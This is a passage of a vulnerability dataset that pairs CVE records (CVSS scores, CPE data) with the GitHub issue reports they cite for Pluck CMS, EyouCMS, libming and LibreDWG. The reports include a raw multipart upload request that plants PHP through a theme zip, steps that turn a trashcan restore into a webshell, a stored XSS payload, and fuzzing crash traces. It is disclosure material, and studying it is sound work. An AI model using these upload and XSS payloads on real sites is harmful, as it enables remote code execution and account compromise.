] | pluck-cms<=4.7.10-dev4 admin background exists a remote command execution vulnerability when install a theme
Demo:
After the installation is successful, go to the management background.

options->choose theme->install theme


vul-url:
http://192.168.80.1/pluck-4.7.10-dev3/admin.php?action=themeinstall
According to the default template, the theme is faked with the content of the theme shell.php.zip as follows:

Insert phpinfo(); in the theme.php file;

upload
```
POST /pluck-4.7.10-dev3/admin.php?action=themeinstall HTTP/1.1
Host: 192.168.80.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:52.0) Gecko/20100101 Firefox/52.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.80.1/pluck-4.7.10-dev3/admin.php?action=themeinstall
Cookie: PHPSESSID=en364hjlvg84vpdvmv9gdlc0h2
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: multipart/form-data; boundary=---------------------------10771789627341
Content-Length: 2441
-----------------------------10771789627341
Content-Disposition: form-data; name="sendfile"; filename="shell.php.zip"
Content-Type: application/x-zip-compressed
PK 楽VO
shell.php/PK 漇VO?K? shell.php/info.phpe幧
?嗭吘肞<j呼?鐴D$$?殟,趱M*侾標7薬p抡U譣??
?0?z?N%???
?.?魫G_?D尞锖i氌`祂?&犇 梿}? ?顪m?c]照j>胜?4A燫m??桯[?>?镗G4慺蓈3阒F魠?PK 嫇OO蘺貔{ ? shell.php/style.css誚M彌0=o~叆≧籞睝毻*?鞧玘zj?喐k02&洿??唋音凿惸虥?笃N溃=??p鴾^f?r婆
M?险{=箞y&?鞼鑷 An圖呔贸&丨^皭b懶l呠|窞糔&x舎?m桡镛C?;镈$?K?霥@8[ZPIⅢ?攖K蚊n鴸?簟z囄R挄h扮?煦tt斤?杞煆驱3:?郚拃伹NMQ2厡h?檢n垭"荙D长??歭?y嬟〕
罸璤h$7+碶ㄤ脩0U蘺A祎A啀狤Fb群p?&戒虠?]_"鐌舚?@椬-?u?笖<y 挛銫頥ク6Do莀茇猰?緂??靷?Jw咁n栽讘<?Es貦汛竻覦嬄颖k墐偝瞆| !紂[垄ZN?刅}恶郎溃+=pGU菥|/梿倩???MS紮O业Z, 嵻3葥駥 ^蕚Fa??\@泴?傗?氶﹚x桷挩?钨(亵袪昀鯫2??蛸_江陰踴灶歳鐼_鳜og蹪~顳衜碬K瞍m覐]@-锾?鐠游J璋梀伶c;h选To1p?+?0V蠁﹊"鹁襆臣琄b铧;A1籅_ ?IC|??NA?&fわ?姚.潥4鉵5u尕o蝜?,?ぢ?蟲?黋 _炧膿胬7?偶睊>I*盡{;Dk嘜乤遥墽Y摊写縛?駗囐Y昝d脂鷺b闔h|?蕠瓞F/?霭澅琽瞀盡k睬辵4_簝I鸜捚?ON扇惋帖?闂鷍 8?$=睋
瀭?T窰1[m觊D))
?还^gT€郪3
蚾€i擣 服h爓,(英?_!婀i線郯*GO.%W抝c摫胎?B痤lAⅤ萿酊PK 筍VO鱪鷸? ? shell.php/theme.php}S羘贎=?橒睩*?9?寓:%FmOh?鉛斓e痗慂褫怠敀驸蠜麈i<M?J?BY*F圖?JI?牟D\猟飔;#!戂d避豸+锳V 顒采}C 嶳 ???BF欇v;ot=?
~?佌鷵繕傉斠Y0?_?\?<〣剨淫?+V*浚串kЬu瞓K僄?*襼賞鍀;?Md9~C?-?Mw 撣闭n?~鵼B苪l`敞7)*f聻?=6=g|o"?
3轠aぎMv5奭PB%h,渇擝aS秢瓡w@=適次M适&UB> I剏睵塛詸kX??欎?Ju磛髺禍m祐 灛輁X;i:.@V 矷F3?u\?笶蒊濧\`t鰨?羭硚鬗M箔悗?忨T?e鼈<锌馏g鐢'U右\曞5瘹鉙<^5w琮PK? 楽VO
$ shell.php/
柭萵€堈梷Kt€堈袘€]y堈PK? 漇VO?K? $ ( shell.php/info.php
4=t€堈u7瘈堈]?|堈PK? 嫇OO蘺貔{ ? $ shell.php/style.css
€怷DC冋)A7瘈堈l洹|堈PK? 筍VO鱪鷸? ? $ ? shell.php/theme.php
9晸€堈yg7瘈堈?察z堈PK ? ?
-----------------------------10771789627341
Content-Disposition: form-data; name="submit"
Upload
-----------------------------10771789627341--
```

#### 1.default theme

View site

#### 2.choose shell.php theme


View site http://192.168.80.1/pluck-4.7.10-dev3/

phpinfo();Function is executed
***The vulnerability exists in the latest pluck-4.7.10-dev2 pluck-4.7.10-dev3. The pluck-4.7.10-dev4 version cannot be uploaded due to bugs in the program, but in theory the RCE vulnerability exists. In pluck-4.7.10-dev4 version***

| pluck-cms<=4.7.10-dev4 admin background exists a remote command execution vulnerability when install a theme | https://api.github.com/repos/pluck-cms/pluck/issues/85/comments | 2 | 2019-10-22T03:15:36Z | 2019-10-22T07:17:36Z | https://github.com/pluck-cms/pluck/issues/85 | 510,405,792 | 85 |
CVE-2020-20969 | 2023-06-20T15:15:10.900 | File Upload vulnerability in PluckCMS v.4.7.10 allows a remote attacker to execute arbitrary code via the trashcan_restoreitem.php file. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 7.2,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "HIGH",
"scope": "UNCHANGED",
"userInteraction": "NONE",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 1.2,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Patch"
],
"url": "https://github.com/pluck-cms/pluck/issues/86"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:pluck-cms:pluck:4.7.10:-:*:*:*:*:*:*",
"matchCriteriaId": "00EE308A-BD13-4E84-BB56-D890CB35E07A",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/pluck-cms/pluck/issues/86 | [
"Exploit",
"Issue Tracking",
"Patch"
] | github.com | [
"pluck-cms",
"pluck"
] | Pluck-4.7.10 admin background exists a remote command execution vulnerability
it happens when restore file from trashcan,and the restoring file has the same with one of the files in uploaded files dir
the coding flaw is in file /pluck/data/inc/trashcan_restoreitem.php at line 54

when $var1 is 'shell.php.txt', here $filename will get value 'shell' and $extension will get value 'php', and then concat with the string '_copy' we will get the final filename with 'shell_copy.php'
Proof
step1: login -> pages -> manage files
upload file with name shell.php.txt


upload success

step2: delete file to trashcan

step3: upload the same file again

step4: restore the file from trashcan, and the restored file is renamed as shell_copy.php


step5: visit webshell

note: operate with "manage images" can do the same as it has the same coding flaw at line 76
| Pluck-4.7.10 admin background exists a remote command execution vulnerability | https://api.github.com/repos/pluck-cms/pluck/issues/86/comments | 3 | 2019-10-23T03:25:48Z | 2019-11-01T19:00:21Z | https://github.com/pluck-cms/pluck/issues/86 | 511,047,937 | 86 |
CVE-2023-36093 | 2023-06-22T15:15:13.580 | There is a storage type cross site scripting (XSS) vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3 | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "NONE",
"baseScore": 5.4,
"baseSeverity": "MEDIUM",
"confidentialityImpact": "LOW",
"integrityImpact": "LOW",
"privilegesRequired": "LOW",
"scope": "CHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N",
"version": "3.1"
},
"exploitabilityScore": 2.3,
"impactScore": 2.7,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/weng-xianhu/eyoucms/issues/44"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:eyoucms:eyoucms:1.6.3:*:*:*:*:*:*:*",
"matchCriteriaId": "0DDC6EF0-7D79-4155-B984-0BA7756C05EC",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/weng-xianhu/eyoucms/issues/44 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"weng-xianhu",
"eyoucms"
] | There is a storage type cross site scripting vulnerability in the filing number of the Basic Information tab on the backend management page of EyouCMS v1.6.3
poc:
<svg><desc><![CDATA[</desc><script>alert(1)</script>]]></svg>



| EyouCMS v1.6.3 has stored xss | https://api.github.com/repos/weng-xianhu/eyoucms/issues/44/comments | 0 | 2023-06-08T08:06:38Z | 2024-03-22T06:48:29Z | https://github.com/weng-xianhu/eyoucms/issues/44 | 1,747,332,487 | 44 |
CVE-2023-36239 | 2023-06-22T19:15:09.037 | libming listswf 0.4.7 was discovered to contain a buffer overflow in the parseSWF_DEFINEFONTINFO() function at parser.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/libming/libming/issues/273"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:libming:libming:0.4.7:*:*:*:*:*:*:*",
"matchCriteriaId": "18B4A4AA-DE48-45A4-AE25-1C83C1CDC743",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/libming/libming/issues/273 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"libming",
"libming"
] | # Allocation size overflow in parseSWF_DEFINEFONTINFO() at parser.c:1948
Allocation size overflow in the listswf at function parseSWF_DEFINEFONTINFO in parser.c:1948.
## Environment
Ubuntu 18.04, 64 bit
libming 0.4.7
## Steps to reproduce
1. download file
```
git clone https://github.com/libming/libming.git libming-ming-0_4_7
```
2. compile libming with ASAN
```
cd libming-ming-0_4_7
git checkout 5aa3470
./autogen.sh
export FORCE_UNSAFE_CONFIGURE=1
export LLVM_COMPILER=clang
CC=wllvm CXX=wllvm++ CFLAGS="-g -O0 -fcommon -Wno-error" ./configure --prefix=`pwd`/obj-bc --with-php-config=/usr/bin/php-config7.2 --enable-static --disable-shared
make
make install
cd obj-bc/bin/
extract-bc listswf
clang -fsanitize=address -lz -lm listswf.bc -o listswf_asan
```
3. command for reproducing the error
```
./listswf_asan poc
```
Download poc:
[libming_0-4-7_listswf_allocation-size-overflow_parser1948.zip](https://github.com/libming/libming/files/11731679/libming_0-4-7_listswf_allocation-size-overflow_parser1948.zip)
## ASAN report
```
root@a71b82b5d288:~/dataset/libming-ming-0_4_7/obj-bc/bin# ./listswf_asan libming_0-4-7_listswf_allocation-size-overflow_parser1948.swf
header indicates a filesize of 6350 but filesize is 296
File version: 10
File size: 296
Frame size: (0,0)x(0,0)
Frame rate: 237.609375 / sec.
Total frames: 31640
=================================================================
==29667==ERROR: AddressSanitizer: requested allocation size 0xfffffffffffffed6 (0x6d8 after adjustments for alignment, red zones etc.) exceeds maximum supported size of 0x10000000000 (thread T0)
#0 0x4ade60 in malloc /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145
#1 0x50fefd in parseSWF_DEFINEFONTINFO /root/dataset/libming-ming-0_4_7/util/parser.c:1948:34
#2 0x4fefda in blockParse /root/dataset/libming-ming-0_4_7/util/blocktypes.c:145:14
#3 0x4fceb2 in readMovie /root/dataset/libming-ming-0_4_7/util/main.c:265:11
#4 0x4fca7d in main /root/dataset/libming-ming-0_4_7/util/main.c:350:2
#5 0x7fa41cb57c86 in __libc_start_main /build/glibc-CVJwZb/glibc-2.27/csu/../csu/libc-start.c:310
==29667==HINT: if you don't care about these errors you may set allocator_may_return_null=1
SUMMARY: AddressSanitizer: allocation-size-too-big /root/LLVM/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cpp:145 in malloc
==29667==ABORTING
``` | Allocation size overflow in parseSWF_DEFINEFONTINFO() at parser.c:1948 | https://api.github.com/repos/libming/libming/issues/273/comments | 0 | 2023-06-13T07:08:07Z | 2023-06-13T07:08:07Z | https://github.com/libming/libming/issues/273 | 1,754,192,903 | 273 |
CVE-2023-36271 | 2023-06-23T15:15:10.027 | LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_wcs2nlen at bits.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/681#BUG2"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gnu:libredwg:0.12.5:*:*:*:*:*:*:*",
"matchCriteriaId": "8B002438-509E-462D-B17E-129197C3E4B3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/LibreDWG/libredwg/issues/681#BUG2 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hello, I was testing my fuzzer and found two bugs in dwg2SVG.
## environment
ubuntu 20.04, GCC 9.4.0, libredwg latest commit 9df4ec3c524795a401acf371c8a953f5b1a6fadf
compile with
```
./autogen.sh && ./configure --disable-shared && make -j$(nproc)
```
##BUG1
```
./dwg2SVG ../pocs/poc0.bit_utf8_to_TU
=================================================================
==19712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000dc at pc 0x5603ca37f05a bp 0x7fff049b1c90 sp 0x7fff049b1c80
WRITE of size 2 at 0x6020000000dc thread T0
#0 0x5603ca37f059 in bit_utf8_to_TU /libredwg/src/bits.c:2883
#1 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22059
#2 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048
#3 0x5603ca7744de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204
#4 0x5603ca8fe1ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187
#5 0x5603cacaa3a2 in decode_preR13_entities /libredwg/src/decode.c:6520
#6 0x5603cacf559c in decode_preR13 /libredwg/src/decode_r11.c:719
#7 0x5603cac76a6a in dwg_decode /libredwg/src/decode.c:217
#8 0x5603ca362d77 in dwg_read_file /libredwg/src/dwg.c:261
#9 0x5603ca35857c in main /libredwg/programs/dwg2SVG.c:979
#10 0x7fc02854f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#11 0x5603ca358c1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d)
0x6020000000dc is located 0 bytes to the right of 12-byte region [0x6020000000d0,0x6020000000dc)
allocated by thread T0 here:
#0 0x7fc028979a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x5603ca37e83a in bit_utf8_to_TU /libredwg/src/bits.c:2856
SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:2883 in bit_utf8_to_TU
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
=>0x0c047fff8010: fa fa 02 fa fa fa 01 fa fa fa 00[04]fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==19712==ABORTING
```
##BUG2
```
./dwg2SVG ../pocs/poc1.bit_wcs2nlen
==19713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000097a at pc 0x55781f6dd09d bp 0x7ffc201cb2e0 sp 0x7ffc201cb2d0
READ of size 2 at 0x60400000097a thread T0
#0 0x55781f6dd09c in bit_wcs2nlen /libredwg/src/bits.c:1834
#1 0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22060
#2 0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048
#3 0x55781fad74de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204
#4 0x55781fc611ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187
#5 0x55782000d3a2 in decode_preR13_entities /libredwg/src/decode.c:6520
#6 0x55782005859c in decode_preR13 /libredwg/src/decode_r11.c:719
#7 0x55781ffd9a6a in dwg_decode /libredwg/src/decode.c:217
#8 0x55781f6c5d77 in dwg_read_file /libredwg/src/dwg.c:261
#9 0x55781f6bb57c in main /libredwg/programs/dwg2SVG.c:979
#10 0x7faa3dcaf082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#11 0x55781f6bbc1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d)
0x60400000097a is located 0 bytes to the right of 42-byte region [0x604000000950,0x60400000097a)
allocated by thread T0 here:
#0 0x7faa3e0d9a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x55781f6e183a in bit_utf8_to_TU /libredwg/src/bits.c:2856
SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:1834 in bit_wcs2nlen
Shadow bytes around the buggy address:
0x0c087fff80d0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff80e0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff80f0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8100: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c087fff8110: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=>0x0c087fff8120: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00[02]
0x0c087fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==19713==ABORTING
```
## POC
[poc.zip](https://github.com/LibreDWG/libredwg/files/11118078/poc.zip)
## Credit
Han Zheng (Hexhive, NCNIPC of China)
| [FUZZ] two bugs in dwg2SVG | https://api.github.com/repos/LibreDWG/libredwg/issues/681/comments | 3 | 2023-03-31T04:10:48Z | 2023-03-31T13:37:12Z | https://github.com/LibreDWG/libredwg/issues/681 | 1,648,637,134 | 681 |
CVE-2023-36272 | 2023-06-23T15:15:10.103 | LibreDWG v0.12.5 was discovered to contain a heap buffer overflow via the function bit_utf8_to_TU at bits.c. | {
"cvssMetricV2": null,
"cvssMetricV30": null,
"cvssMetricV31": [
{
"cvssData": {
"attackComplexity": "LOW",
"attackVector": "NETWORK",
"availabilityImpact": "HIGH",
"baseScore": 8.8,
"baseSeverity": "HIGH",
"confidentialityImpact": "HIGH",
"integrityImpact": "HIGH",
"privilegesRequired": "NONE",
"scope": "UNCHANGED",
"userInteraction": "REQUIRED",
"vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H",
"version": "3.1"
},
"exploitabilityScore": 2.8,
"impactScore": 5.9,
"source": "[email protected]",
"type": "Primary"
}
]
} | [
{
"source": "[email protected]",
"tags": [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
],
"url": "https://github.com/LibreDWG/libredwg/issues/681#BUG1"
}
] | [
{
"nodes": [
{
"cpeMatch": [
{
"criteria": "cpe:2.3:a:gnu:libredwg:0.12.5:*:*:*:*:*:*:*",
"matchCriteriaId": "8B002438-509E-462D-B17E-129197C3E4B3",
"versionEndExcluding": null,
"versionEndIncluding": null,
"versionStartExcluding": null,
"versionStartIncluding": null,
"vulnerable": true
}
],
"negate": false,
"operator": "OR"
}
],
"operator": null
}
] | https://github.com/LibreDWG/libredwg/issues/681#BUG1 | [
"Exploit",
"Issue Tracking",
"Third Party Advisory"
] | github.com | [
"LibreDWG",
"libredwg"
] | Hello, I was testing my fuzzer and found two bugs in dwg2SVG.
## environment
ubuntu 20.04, GCC 9.4.0, libredwg latest commit 9df4ec3c524795a401acf371c8a953f5b1a6fadf
compile with
```
./autogen.sh && ./configure --disable-shared && make -j$(nproc)
```
##BUG1
```
./dwg2SVG ../pocs/poc0.bit_utf8_to_TU
=================================================================
==19712==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000000dc at pc 0x5603ca37f05a bp 0x7fff049b1c90 sp 0x7fff049b1c80
WRITE of size 2 at 0x6020000000dc thread T0
#0 0x5603ca37f059 in bit_utf8_to_TU /libredwg/src/bits.c:2883
#1 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22059
#2 0x5603cae6faab in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048
#3 0x5603ca7744de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204
#4 0x5603ca8fe1ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187
#5 0x5603cacaa3a2 in decode_preR13_entities /libredwg/src/decode.c:6520
#6 0x5603cacf559c in decode_preR13 /libredwg/src/decode_r11.c:719
#7 0x5603cac76a6a in dwg_decode /libredwg/src/decode.c:217
#8 0x5603ca362d77 in dwg_read_file /libredwg/src/dwg.c:261
#9 0x5603ca35857c in main /libredwg/programs/dwg2SVG.c:979
#10 0x7fc02854f082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#11 0x5603ca358c1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d)
0x6020000000dc is located 0 bytes to the right of 12-byte region [0x6020000000d0,0x6020000000dc)
allocated by thread T0 here:
#0 0x7fc028979a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x5603ca37e83a in bit_utf8_to_TU /libredwg/src/bits.c:2856
SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:2883 in bit_utf8_to_TU
Shadow bytes around the buggy address:
0x0c047fff7fc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7fe0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff7ff0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c047fff8000: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 00
=>0x0c047fff8010: fa fa 02 fa fa fa 01 fa fa fa 00[04]fa fa fa fa
0x0c047fff8020: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8030: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8040: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8050: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c047fff8060: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
Shadow gap: cc
==19712==ABORTING
```
##BUG2
```
./dwg2SVG ../pocs/poc1.bit_wcs2nlen
==19713==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60400000097a at pc 0x55781f6dd09d bp 0x7ffc201cb2e0 sp 0x7ffc201cb2d0
READ of size 2 at 0x60400000097a thread T0
#0 0x55781f6dd09c in bit_wcs2nlen /libredwg/src/bits.c:1834
#1 0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22060
#2 0x5578201d2abb in dwg_is_valid_tag /libredwg/src/dwg_api.c:22048
#3 0x55781fad74de in dwg_decode_ATTRIB_private /libredwg/src/dwg.spec:204
#4 0x55781fc611ec in dwg_decode_ATTRIB /libredwg/src/dwg.spec:187
#5 0x55782000d3a2 in decode_preR13_entities /libredwg/src/decode.c:6520
#6 0x55782005859c in decode_preR13 /libredwg/src/decode_r11.c:719
#7 0x55781ffd9a6a in dwg_decode /libredwg/src/decode.c:217
#8 0x55781f6c5d77 in dwg_read_file /libredwg/src/dwg.c:261
#9 0x55781f6bb57c in main /libredwg/programs/dwg2SVG.c:979
#10 0x7faa3dcaf082 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x24082)
#11 0x55781f6bbc1d in _start (/validate/dwg2SVG/dwg2SVG+0x206c1d)
0x60400000097a is located 0 bytes to the right of 42-byte region [0x604000000950,0x60400000097a)
allocated by thread T0 here:
#0 0x7faa3e0d9a06 in __interceptor_calloc ../../../../src/libsanitizer/asan/asan_malloc_linux.cc:153
#1 0x55781f6e183a in bit_utf8_to_TU /libredwg/src/bits.c:2856
SUMMARY: AddressSanitizer: heap-buffer-overflow /libredwg/src/bits.c:1834 in bit_wcs2nlen
Shadow bytes around the buggy address:
0x0c087fff80d0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff80e0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff80f0: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
0x0c087fff8100: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 fa
0x0c087fff8110: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00 00
=>0x0c087fff8120: fa fa 00 00 00 00 00 00 fa fa 00 00 00 00 00[02]
0x0c087fff8130: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8140: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8150: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8160: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c087fff8170: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
